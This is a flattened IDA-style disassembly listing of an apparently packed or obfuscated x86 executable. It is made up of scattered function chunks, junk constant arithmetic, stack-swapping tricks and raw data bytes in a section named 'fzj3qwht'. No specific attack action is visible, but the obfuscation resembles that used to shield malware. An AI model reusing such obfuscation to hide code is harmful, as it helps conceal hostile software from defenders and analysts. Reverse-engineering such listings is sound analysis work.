00000015 BYTES xchg eax, [esp+0] pop eax add eax, 8443A509h loc_43141A: ; CODE XREF: sub_42F4AE+EAj mov eax, [eax] sub eax, edx jz loc_42FE63 jmp loc_432616 sub_431410 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 xor esi, 0B02F0C60h and esi, 0A62240BAh xor esi, 7D6371B8h add edx, esi pop esi mov edx, [edx] jmp loc_432789 ; --------------------------------------------------------------------------- loc_431446: ; DATA XREF: fzj3qwht:0042FE17o mov byte ptr [ebp-20h], 30h inc dword ptr [ebp-10h] ; START OF FUNCTION CHUNK FOR sub_431686 loc_43144D: ; CODE XREF: sub_431686:loc_431C97j call sub_42FED0 ; END OF FUNCTION CHUNK FOR sub_431686 ; =============== S U B R O U T I N E ======================================= sub_431452 proc near ; CODE XREF: fzj3qwht:0042EF4Bp var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042EF52 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FCE9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00430338 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00430598 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004312EC SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00431946 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431A88 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431D26 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00431EF6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004320D8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004325F3 SIZE 0000000D BYTES call sub_431167 jmp locret_4315E0 ; --------------------------------------------------------------------------- dd 59240C87h, 0DED6C681h, 34877F73h, 0D38CE824h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_43146F: ; CODE XREF: sub_42FFDE+17F3j jmp nullsub_141 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_431475: ; CODE XREF: fzj3qwht:0042F7EFj jmp loc_431D26 ; --------------------------------------------------------------------------- or esi, 0CB694E7Ch loc_431480: ; CODE XREF: sub_42E990+4p xchg edi, [esp+4+var_4] pop edi xchg edx, [esp+0] push offset byte_430405 jmp loc_431EF6 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 0FFDDBDE9h db 0FFh db 8Dh, 5, 9Dh ; DATA XREF: sub_431F38+5o dd 68004321h, 431714h, 0FFFD5EE9h, 0F0000FFh, 0FFDC0B85h dd 0FC1AE9FFh, 0FFFFh, 0CB1B078Bh, 0FFDBF5E9h, 810000FFh dd 5D5006FDh, 0F694E976h, 8100FFFFh, 0DB902CD5h, 0F823E99Ch dd 0F00FFFFh, 92880h db 0 ; --------------------------------------------------------------------------- loc_4314E1: ; CODE XREF: fzj3qwht:0042F2A3p xchg esi, [esp+4+var_4] pop esi xchg edi, [esp+0] jmp loc_4312EC ; --------------------------------------------------------------------------- db 0Fh, 83h, 3Dh dd 0E9FFFFE0h, 0FFFFDF08h db 2 dup(0) ; --------------------------------------------------------------------------- locret_4314FA: ; CODE XREF: sub_4301B7-723j retn ; --------------------------------------------------------------------------- align 4 dd 0FFFA8EE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_431502: ; CODE XREF: fzj3qwht:0042EEF0j call near ptr dword_42EEA4+15h ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_431508: ; CODE XREF: fzj3qwht:loc_42EA3Fj retn ; --------------------------------------------------------------------------- db 0E9h, 2Ch, 0FAh dd 1268FFFFh, 87487869h ; --------------------------------------------------------------------------- std xor esi, edx loc_431517: ; CODE XREF: sub_430AEE:loc_430C3Dj call sub_42EE90 loc_43151C: ; CODE XREF: sub_42F4AE+2F8Fp xchg edx, [esp+0] pop edx push 8FD8D7ACh xchg ecx, [esp+0] mov edx, ecx pop ecx and edx, 4FA92517h jmp loc_431946 ; --------------------------------------------------------------------------- dw 339Ch dd 52E881F1h, 68A4B4D8h, 430690h, 0FFF144E9h, 810000FFh dd 47C3E1C2h, 243487ACh, 0E8C3815Eh, 0E9D40303h, 0FFFFF001h dd 689D0000h, 431675h, 61AE9h, 0C30000h, 241C8700h, 0C87CB8Bh dd 0E9D98B24h, 0FFFFF048h, 24148700h, 0EB8B555Ah, 0FFE016E9h dd 0C10000FFh, 0FCE905EBh, 0C1FFFFF2h db 0E8h, 3 ; --------------------------------------------------------------------------- loc_43159A: ; CODE XREF: sub_42FF6B:loc_432476p xchg eax, [esp-4+arg_0] xchg ebp, [esp-4+arg_0] mov eax, ebp pop ebp mov byte ptr [esi], 0Fh pop esi jmp loc_42EF52 ; --------------------------------------------------------------------------- locret_4315AC: ; CODE XREF: sub_42F4AE+3138j retn ; --------------------------------------------------------------------------- loc_4315AD: ; CODE XREF: fzj3qwht:00432674j jmp near ptr dword_42EA44+12h ; --------------------------------------------------------------------------- db 0C6h ; Æ db 1 db 9Ch ; œ db 59h ; Y db 81h ; db 0CBh ; Ë db 39h ; 9 db 79h ; y db 0Ah db 9Ah ; š db 81h ; db 0EBh ; ë db 29h ; ) db 0EBh ; ë db 0E7h ; ç db 0Ah db 81h ; db 0CBh ; Ë db 1Eh db 11h db 92h ; ’ db 0BCh ; ¼ db 0E9h ; é db 54h ; T db 0F5h ; õ db 0FFh db 0FFh db 89h ; ‰ db 3Eh ; > db 0E9h ; é db 0CDh ; Í db 0F1h ; ñ db 0FFh db 0FFh db 1Bh db 0F3h ; ó db 87h ; ‡ db 3Ch ; < db 24h ; $ db 5Fh ; _ db 56h ; V db 0E9h ; é db 29h ; ) db 6 db 0 db 0 ; --------------------------------------------------------------------------- locret_4315E0: ; CODE XREF: sub_431452+5j retn sub_431452 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD "+" TO EXPAND] align 4 dd 0FFDAA2E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_4301AC loc_4315EA: ; CODE XREF: sub_4301AC+1B2Aj jge loc_431DA4 add cl, al jecxz short loc_431604 sub eax, 0E59B55E5h mov eax, [esi] not ebx jmp loc_431DA4 ; END OF FUNCTION CHUNK FOR sub_4301AC ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_4301AC loc_431604: ; CODE XREF: sub_4301AC+1446j ; fzj3qwht:loc_4321CFj add [edi], cl test [ecx+0Dh], dl ; END OF FUNCTION CHUNK FOR sub_4301AC ; --------------------------------------------------------------------------- db 2 dup(0), 55h ; --------------------------------------------------------------------------- or ebp, esi push 0E910C2EEh add edx, 0D85253DDh jmp loc_43235C ; --------------------------------------------------------------------------- dw 0C300h dd 0F0E6E900h db 2 dup(0FFh), 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_155. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- loc_43162A: ; CODE XREF: fzj3qwht:0043104Bj jmp loc_43172C ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_42FF6B loc_431630: ; CODE XREF: sub_42FF6B+9j jmp loc_42FD40 ; END OF FUNCTION CHUNK FOR sub_42FF6B ; --------------------------------------------------------------------------- loc_431635: ; CODE XREF: fzj3qwht:0042EEFBj jmp loc_4301ED ; --------------------------------------------------------------------------- dw 8700h dd 24E82434h, 0FFFFE5h, 1320E9h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_43164B: ; CODE XREF: sub_4301B7:loc_4324AAj test ecx, 200000h jmp loc_42EA10 ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- dw 0E981h dd 2809DEB7h, 4464C981h, 0C181631Fh, 0E6CAFA77h, 5F68CD03h dd 0E900431Ah, 0FFFFFFABh, 4AE800h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430F48 loc_43167B: ; CODE XREF: sub_430F48-B85j jmp loc_42FB2D ; END OF FUNCTION CHUNK FOR sub_430F48 ; --------------------------------------------------------------------------- dd 11D5E900h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_431686 proc near ; CODE XREF: fzj3qwht:00430267j ; fzj3qwht:004327D1p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042EC41 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0042F33B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042F3B0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FB23 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042FEB9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043095D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00430B7C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00430CA0 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004310C1 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043144D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431890 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431A12 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431C97 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00432306 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00432775 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043278E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00432921 SIZE 0000002E BYTES xchg ecx, [esp+0] xchg ebp, [esp+0] mov ecx, ebp pop ebp pushf push 389FB315h jmp loc_432921 sub_431686 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43169A: ; CODE XREF: fzj3qwht:loc_4312BCj and edx, 0D91DCBF9h sub edx, 9A1D4C15h add edx, 0B4B93569h add edx, ebp call sub_43041D ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_4316B5: ; CODE XREF: fzj3qwht:00430854j jmp loc_42FB23 ; --------------------------------------------------------------------------- dw 0E900h dd 3E2h, 0C5870000h, 59240C87h, 0E85D00C6h, 3F4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431AED loc_4316D0: ; CODE XREF: sub_431AED-8A3j jmp loc_42EE3D ; END OF FUNCTION CHUNK FOR sub_431AED ; --------------------------------------------------------------------------- align 2 loc_4316D6: ; CODE XREF: fzj3qwht:loc_43050Dj pop edi and edi, 3F647BE2h add edi, 0D768FF9h add edi, ebp add edi, 0B869600Dh call near ptr dword_42F30C+11h add [ecx+1F4718DEh], al xchg eax, edx jmp sub_42FF32 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4316FE proc near ; CODE XREF: sub_42E990+Bj ; sub_431452+C92p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0042ED04 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F975 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004302F8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00431965 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043249C SIZE 00000005 BYTES xchg edx, [esp-4+arg_0] pop edx add edx, 496CA7E7h push esi mov esi, (offset loc_430CD8+1) jmp loc_4302F8 sub_4316FE endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 0E425810Fh, 0EFE8FFFFh, 0FFFFDAh ; --------------------------------------------------------------------------- loc_431720: ; CODE XREF: fzj3qwht:00430AA7j jmp near ptr byte_42FABD+2 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0A44h ; --------------------------------------------------------------------------- loc_43172C: ; CODE XREF: fzj3qwht:loc_43162Aj and edx, 3B3AB8D3h xor edx, 7DC10DF5h push 42F0E2h jmp near ptr dword_42E8AC+0Eh ; --------------------------------------------------------------------------- align 4 push ecx mov ecx, esi call sub_431C85 call ds:dword_42A0C0 ; ExitProcess push edx mov edx, esi xchg edx, [esp] jmp loc_432662 ; --------------------------------------------------------------------------- align 2 dw 0DA33h dd 0E909C9C1h, 0FFFFE674h, 0A5CB6800h, 815A3CBCh, 0D2B757C2h dd 96F2817Bh, 52614C8Fh, 430E38BAh, 0E197E900h, 0FFFFh dd 0F3EE9C3h, 1C870000h, 1A196824h, 6EE90043h, 7, 0A2A7F681h dd 92E98209h, 11h db 0 byte_4317A9 db 81h, 0C0h, 8Bh ; DATA XREF: sub_430E27+9F3o dd 3A5AB89h, 18FF68C5h, 0FAE90043h, 0FFFFD0h db 0 byte_4317BD db 8Bh, 9, 9Ch ; DATA XREF: sub_42F4AE-1AEo dd 43110568h, 0FFBFE900h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FFDE loc_4317CC: ; CODE XREF: sub_42FFDE+Cj push offset word_430C4E jmp loc_43146F ; END OF FUNCTION CHUNK FOR sub_42FFDE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_4317D6: ; CODE XREF: sub_42FA52:loc_42F73Cj xor esi, 36A6EEB7h push offset loc_42FBAF jmp nullsub_134 ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- align 4 js loc_430F5C jmp sub_430011 ; --------------------------------------------------------------------------- align 4 dd 6DFA8100h, 0E9706B58h, 0FEFh, 0E9C30000h, 0DA7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43180A: ; CODE XREF: fzj3qwht:0042F1D4j jmp loc_432754 ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430E27 loc_431811: ; CODE XREF: sub_430E27:loc_431FD9j rol eax, 11h and eax, 0FDBE8957h push offset byte_4317A9 jmp nullsub_142 ; END OF FUNCTION CHUNK FOR sub_430E27 ; --------------------------------------------------------------------------- dd 24348700h, 0F85DF75Eh, 0F87D83h, 0FC17840Fh, 28E9FFFFh dd 0C6FFFFE1h, 685F8707h, 0EEAC8EE1h, 8B240C87h, 0C88159C1h dd 21CBB7AEh, 0EF09E081h, 7CE9E556h, 3, 19AFBB00h, 0FDE90043h dd 68000009h, 7D525D7Ah, 1BC08158h, 815988F6h, 4E9BB8E0h dd 9A5E920h, 0C30000h, 8701C600h, 0DE96859h, 9CE90043h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- locret_43188F: ; CODE XREF: fzj3qwht:004313E6j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_431890: ; CODE XREF: sub_431686+12C4j jmp loc_431C97 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- align 2 jmp locret_42FACC ; --------------------------------------------------------------------------- align 4 dd 0DD8EE999h, 8700FFFFh, 2C872434h, 5DF58B24h, 0D1D6852h dd 1BE9A353h, 1, 0E8CF8B00h, 0F1Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4318C2: ; CODE XREF: fzj3qwht:0042FAA2j jmp locret_42F981 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_4318C9: ; CODE XREF: fzj3qwht:loc_42FACFj rol edi, 6 add edi, 5B5F65E4h call sub_42FA52 mov esi, 6064ECEBh jmp sub_42ED87 ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_4318E2 proc near ; CODE XREF: sub_431686+12AEp xchg edi, [esp+0] pop edi add edx, 0C483AE96h stosd call sub_431E7D retn sub_4318E2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4318F3: ; CODE XREF: fzj3qwht:004306FCj jmp near ptr loc_430062+4 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_4318F9: ; CODE XREF: sub_42F4AE+20Aj jmp locret_42F525 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dw 8100h dd 0BE6D1EC0h db 71h, 8Bh, 0 byte_431907 db 15h ; DATA XREF: fzj3qwht:0042FBB2o dd 0FFECC6E8h, 726857FFh, 0E9B2B75Ah, 0FFFFE45Fh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_43191A: ; CODE XREF: sub_42FA52:loc_42F736j push edx push 0E6F12C6Ch pop edx or edx, 0E7BBA961h rol edx, 13h xor edx, 0F8335E68h add edx, 6CE6A87Ch jmp loc_42FE43 ; END OF FUNCTION CHUNK FOR sub_42FA52 ; =============== S U B R O U T I N E ======================================= sub_43193B proc near ; DATA XREF: fzj3qwht:loc_430248o mov byte ptr [esi], 0C7h pop esi add edx, ebp call loc_43099D sub_43193B endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_431452 loc_431946: ; CODE XREF: sub_431452+DFj jmp loc_4320D8 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- align 4 dd 0D682820Fh, 0C5B8FFFFh, 0E9A63BDBh, 0FFFFD925h db 0 ; --------------------------------------------------------------------------- loc_43195D: ; CODE XREF: fzj3qwht:loc_432633j xchg esi, [esp] mov ebp, esi pop esi retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4316FE loc_431965: ; CODE XREF: sub_4316FE-13FEj push edi mov edi, ebp xchg edi, [esp+0] jmp loc_42ED04 ; END OF FUNCTION CHUNK FOR sub_4316FE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F5F loc_431971: ; CODE XREF: sub_431F5F-151Fj call sub_43052F loc_431976: ; CODE XREF: fzj3qwht:0043024Dj add cl, ch sub ch, dh ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- dw 0FFFFh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F188 loc_43197D: ; CODE XREF: sub_42F188+1Aj jmp loc_42F9E4 ; END OF FUNCTION CHUNK FOR sub_42F188 ; --------------------------------------------------------------------------- jmp loc_431D6D ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_431989: ; CODE XREF: fzj3qwht:0042EB73j xchg edi, [esp] pop edi push edx mov edx, offset loc_431EE7 jmp loc_42FC56 ; --------------------------------------------------------------------------- dd 0E93E8900h, 701h db 0 byte_4319A1 db 87h, 0Ch, 24h ; DATA XREF: fzj3qwht:loc_42F7FDo dd 0FFE191E9h, 0EDB800FFh, 0BC00424Fh, 6C84C6C0h, 52FFFFE1h dd 0FFFDACE9h, 81F91BFFh, 29B569C2h, 81C2D16Ah, 4F1770C2h dd 0DD4FE864h, 0D5E9FFFFh, 0FFFFD3h ; --------------------------------------------------------------------------- loc_4319D8: ; CODE XREF: fzj3qwht:0043030Ej jmp loc_431BFC ; --------------------------------------------------------------------------- db 2 dup(0), 81h ; --------------------------------------------------------------------------- retn 0FEADh ; --------------------------------------------------------------------------- db 87h dd 0AEFC1B7h, 0FFF53DE9h, 520000FFh, 0C813FC68h, 0EA815AA4h dd 0F57473FAh, 5FFDC281h, 148750ACh, 0C015FF24h, 0E80042A0h dd 0FFFFFBC6h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_431A12: ; CODE XREF: sub_431686-1B5Ej jmp nullsub_161 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_431410 loc_431A18: ; CODE XREF: sub_431410+63Fj add [ebx-2E74AD14h], cl call sub_42E990 ; END OF FUNCTION CHUNK FOR sub_431410 ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_431A25: ; CODE XREF: fzj3qwht:00430EDDj jmp loc_4307D0 ; --------------------------------------------------------------------------- test edx, 534A64Fh jmp loc_431ABE ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431410 loc_431A37: ; CODE XREF: sub_431410:loc_4320F3j and edi, 9E9541A6h xor edi, 30BBA9E9h and edi, 0CAB6433h add edi, 0FBD5E001h jecxz short loc_431A18 pop edi jmp near ptr byte_42E955+2 ; END OF FUNCTION CHUNK FOR sub_431410 ; --------------------------------------------------------------------------- loc_431A57: ; CODE XREF: fzj3qwht:loc_432008j pop esi call sub_431F38 ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 15B89CC1h, 9D098BB2h, 0E8240C87h, 0FFFFD50Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_431A72: ; CODE XREF: fzj3qwht:0042F2CEj mov al, [ebp+eax-20h] push 520DBE92h pop edx and edx, 4F7911A5h call sub_430497 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_431A88: ; CODE XREF: sub_431452+8E8j jmp nullsub_135 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_431A8F: ; CODE XREF: sub_431686+10F7j ; sub_42F8A9:loc_432782p xchg edx, [esp] pop edx xchg esi, [esp] loc_431A96: ; DATA XREF: sub_42EFCF:loc_43077Eo xor al, 15h shl byte ptr [eax+4EE90042h], 0FFh ; --------------------------------------------------------------------------- db 0FFh dd 2C600FFh, 98685A87h, 87769D88h, 0D98B240Ch, 0EAC38159h dd 0E9B5B81Ch, 0FFFFDECFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_431ABE: ; CODE XREF: fzj3qwht:00431A30j js near ptr byte_42F52D+2 xchg ebx, [esp] pop ebx inc dword ptr [ebp-8Ch] jmp near ptr dword_430254 ; --------------------------------------------------------------------------- db 0Fh dd 3DB8Ch, 9C000000h, 0FFDA0DE9h ; --------------------------------------------------------------------------- loc_431AE0: ; DATA XREF: sub_431686:loc_42FB23o jmp fword ptr [eax-2Bh] ; --------------------------------------------------------------------------- db 0Dh dd 0ABE90043h, 0FFFFFDh db 0 ; =============== S U B R O U T I N E ======================================= sub_431AED proc near ; CODE XREF: fzj3qwht:0042EA3Ap arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042EE3D SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00431239 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004316D0 SIZE 00000005 BYTES xchg ecx, [esp-4+arg_0] pop ecx xchg ecx, [esp+0] mov eax, ecx pop ecx pop edi inc esi or al, 24h push ecx jmp loc_431239 sub_431AED endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_4323E7 loc_431B02: ; CODE XREF: sub_4323E7+Cj xchg ebx, [esp+0] push 4816C813h pop esi xor esi, 0ACE55FE9h and esi, 0F3FC4FE0h xor esi, 0BE4C83A8h rol esi, 1Bh jmp loc_431BC3 ; END OF FUNCTION CHUNK FOR sub_4323E7 ; --------------------------------------------------------------------------- db 2 dup(0), 13h ; --------------------------------------------------------------------------- setalc jmp loc_4327CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4312D7 loc_431B2E: ; CODE XREF: sub_4312D7-101Bj add eax, ebp call sub_430F2A ; END OF FUNCTION CHUNK FOR sub_4312D7 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_431B37: ; CODE XREF: fzj3qwht:0042EDA5j jmp loc_431EE7 ; --------------------------------------------------------------------------- dd 815F0000h, 349DCCEAh, 0AC28182h, 3FB7BD8h, 0EB1DE8D5h dd 0FFFFh, 850FA43Ch, 0FFFFE181h, 0FFE173E8h db 0FFh ; --------------------------------------------------------------------------- loc_431B61: ; CODE XREF: fzj3qwht:0043250Bj jmp loc_430ED7 ; --------------------------------------------------------------------------- align 4 jmp loc_42FA99 ; --------------------------------------------------------------------------- align 2 dw 0C231h dd 0AB850F49h, 87000008h, 3AE9243Ch, 0FFFFFDh db 0 ; --------------------------------------------------------------------------- loc_431B81: ; CODE XREF: fzj3qwht:004300A5j jnz loc_431E16 jmp locret_430985 ; --------------------------------------------------------------------------- dd 0EA810000h, 595CA7E1h, 27BE9h, 8B000000h, 0E91F890Bh dd 0FFFFDB7Dh, 33F88100h, 0E947FBE5h, 0FFFFE96Fh, 0C2875868h dd 0E881587Bh, 49C92848h, 0F810890Fh db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4323E7 loc_431BC3: ; CODE XREF: sub_4323E7-8C7j jmp loc_42EB3D ; END OF FUNCTION CHUNK FOR sub_4323E7 ; --------------------------------------------------------------------------- dd 0FFD7CEE9h, 990000FFh, 0FFF7FBE9h, 810000FFh, 0FC6CDCC0h dd 24041F1Ah, 0FFDE29E9h, 266853FFh, 0E900430Bh, 0FFFFEF30h dd 22CF8100h, 0E9A63689h, 0FFFFCFE1h ; --------------------------------------------------------------------------- loc_431BFC: ; CODE XREF: fzj3qwht:loc_4319D8j xchg ecx, [esp] mov esi, offset nullsub_158 jmp loc_432833 ; --------------------------------------------------------------------------- db 68h, 77h, 0D2h dd 815E3B45h, 56E3DDEEh, 65C6819Fh, 0E9641111h, 0FFFFD80Eh dd 19CFC100h, 0F2E93A87h, 0FFFFE7h ; --------------------------------------------------------------------------- loc_431C2C: ; CODE XREF: fzj3qwht:004303E6j or ebx, 0C5398E05h xor ebx, 0E77BFF2Fh add edx, ebx pop ebx call near ptr dword_42EC68+6Dh ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430C13 loc_431C41: ; CODE XREF: sub_430C13+12j jmp loc_43013E ; END OF FUNCTION CHUNK FOR sub_430C13 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_431C47: ; CODE XREF: fzj3qwht:0042FCE1j mov eax, 43247Ch jmp loc_42E950 ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_431C52 proc near ; CODE XREF: sub_431452:loc_430598p xchg ebx, [esp+0] pop ebx push esi push offset word_432066 jmp near ptr dword_42E794+70h sub_431C52 endp ; --------------------------------------------------------------------------- align 2 dw 0F381h dd 2152B297h, 0FFF6B6E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_42F188 loc_431C6E: ; CODE XREF: sub_42F188+864j push eax loc_431C6F: ; CODE XREF: sub_42F188:loc_42F9E4j rol esi, 0Fh xor esi, 1148308Eh sbb eax, 0EFEDE8F5h ; END OF FUNCTION CHUNK FOR sub_42F188 ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- jmp loc_43214C ; =============== S U B R O U T I N E ======================================= sub_431C85 proc near ; CODE XREF: fzj3qwht:00431747p arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi xchg ecx, [esp-4+arg_0] mov esi, 430ACAh jmp near ptr dword_431018+2 sub_431C85 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_431C97: ; CODE XREF: sub_431686:loc_431890j jz loc_43144D jmp near ptr dword_42EEA4+1Bh ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- dw 0E800h dd 0FFFFCD8Bh, 754E900h, 0E95A0000h, 6F6h, 9A870F00h, 0E9000009h dd 0FFFFFBE3h, 8713E8C1h db 0Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301AC loc_431CC5: ; CODE XREF: sub_4301AC:loc_42FC85j sub eax, 0A4B4D852h add eax, 62EF0A92h call sub_430F48 jmp loc_4315EA ; END OF FUNCTION CHUNK FOR sub_4301AC ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_43005C loc_431CDC: ; CODE XREF: sub_43005C+1Dj jmp loc_42EEC6 ; END OF FUNCTION CHUNK FOR sub_43005C ; --------------------------------------------------------------------------- db 0E9h, 0D4h, 0EFh dd 0FFFFh, 0E9E9C687h, 5EFFFFE4h, 33E3E981h, 685283CBh dd 82CC6D06h, 77E2815Ah, 81543177h, 0B08AD0F2h, 9EFA810Eh dd 0E94CC6B9h, 0FFFFFDBFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F5F loc_431D14: ; CODE XREF: sub_431F5F-D65j pop ebx jmp loc_431E9F ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43052F loc_431D1A: ; CODE XREF: sub_43052F:loc_431E31j call nullsub_146 nop call sub_430917 ; END OF FUNCTION CHUNK FOR sub_43052F ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_431D26: ; CODE XREF: sub_431452:loc_431475j mov byte ptr [eax], 3 pop eax push ebp mov ebp, ebx xchg ebp, [esp+4+var_4] mov ebx, edx xchg ebx, [esp+4+var_4] push offset loc_42EEE9 jmp loc_431A88 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- loc_431D41: ; CODE XREF: fzj3qwht:00432761j jl near ptr dword_42EC68+1 ; --------------------------------------------------------------------------- db 0 dd 238E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_431D4E: ; CODE XREF: fzj3qwht:0042F4A8j jmp loc_430935 ; --------------------------------------------------------------------------- align 4 dd 0E649E900h, 819DFFFFh, 302A1DEEh, 0CF03E945h, 0FFFFh 